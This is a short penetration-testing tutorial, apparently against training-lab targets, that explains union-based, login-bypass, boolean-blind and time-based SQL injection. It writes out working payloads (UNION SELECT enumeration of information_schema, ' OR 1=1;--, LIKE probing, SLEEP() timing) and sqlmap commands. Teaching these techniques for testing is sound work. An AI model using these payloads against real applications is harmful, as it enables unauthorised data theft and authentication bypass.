

In our previous post, we explored IIS enumeration and privilege escalation. Today, we dive into the core mechanics of SQL Injection (SQLi). Whether you are dealing with applications that leak data directly or completely silent systems, understanding how to interact with a database through malformed input is essential for any penetration tester.
Union-based SQL injection occurs when an attacker can leverage the UNION operator to combine the results of the original application query with their own malicious query, making the data directly visible on the page.
-- Try increasing the number until no error occurs
1 UNION SELECT 1,2,3
0 UNION SELECT 1,2, database()
0 UNION SELECT 1,2, group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'sqli_one'
When applications fail to properly sanitize user inputs in login forms, attackers can manipulate the logical flow to authenticate without valid credentials.
select * from users where username='' and password='' LIMIT 1;
' OR 1=1;--
select * from users where username='' OR 1=1;--' and password='anything' LIMIT 1;
When an application doesn't return data or error messages—only a binary signal (like {"taken":true} or {"taken":false})—you must ask yes/no questions to extract data character by character.
admin123' UNION SELECT 1,2,3 where database() like '%';--
-- Test if the database starts with 's'
admin123' UNION SELECT 1,2,3 where database() like 's%';-- -- Narrowing down further admin123' UNION SELECT 1,2,3 where database() like 'sq%';--
When the application response is completely identical regardless of truth value, you rely on database-level delays (such as SLEEP()) to deduce information via the clock.
admin123' UNION SELECT SLEEP(5),2;--
admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--
While manual testing teaches you the underlying mechanics, real-world engagements rely on automation tools like SQLmap to handle complex blind injections swiftly:
Bash
sqlmap -u "https://website.thm/article?id=1" --dbs
sqlmap -u "https://website.thm/article?id=1" --technique=T --current-db